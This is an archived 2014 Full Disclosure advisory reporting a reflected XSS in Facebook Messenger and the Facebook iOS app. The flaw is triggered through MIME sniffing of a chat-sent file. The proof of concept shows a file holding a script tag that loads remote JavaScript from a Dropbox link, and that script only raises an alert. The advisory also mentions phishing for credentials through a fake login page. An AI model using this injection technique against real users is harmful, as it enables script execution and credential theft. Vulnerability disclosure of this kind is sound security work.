full-disclosure - [FD] Reflected XSS Attacks vulnerabilities used MIME Sniffing in Facebook Messenger and Facebook App for iOS.

Open Source and information security mailing list archives

Message-ID: <CAOmMdVsDB+pDUYOWdC8WH15Ja0rueYMqxWtJ+yTouYSdd1tOSg@mail.gmail.com>
Date: Tue, 2 Sep 2014 13:19:54 -0300
From: William Costa <william.costa@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Reflected XSS Attacks vulnerabilities used MIME Sniffing in
 Facebook Messenger and Facebook App for iOS.

I. VULNERABILITY
-------------------------
Reflected XSS Attacks vulnerabilities used MIME Sniffing in Facebook
Messenger and Facebook App for iOS.

II. BACKGROUND
-------------------------
Facebook is a social networks

III. DESCRIPTION
-------------------------
Has been detected a Reflected XSS vulnerability by MIME Sniffing.
The code injection is done through chat use send file.
IV. PROOF OF CONCEPT
-------------------------
The application does not validate the contente of file send, only
valitation of extention.
Content of file face.jjjj:
<script src="https://www.dropbox.com/s/hp796og5p9va7zt/face.js?dl=1">
</script>
Content of file face.js:
alert("Alert XSS Chat send File Facebook Messenger");

V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted
user's browser, , that allows the execution of arbitrary HTML/script code
to be executed in the context of the victim user's browser.
An attacker can make fake facebook site requesting the User and password to
view the contents of the file, thus having access to data of the victim.

VI. SYSTEMS AFFECTED
-------------------------
Tested IPAD iOS version 7.1.2, Facebook APP Vesion 14.0, Messenger Facebook
Version 10.0.

By William Costa
william.costa no spam gmail.com

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives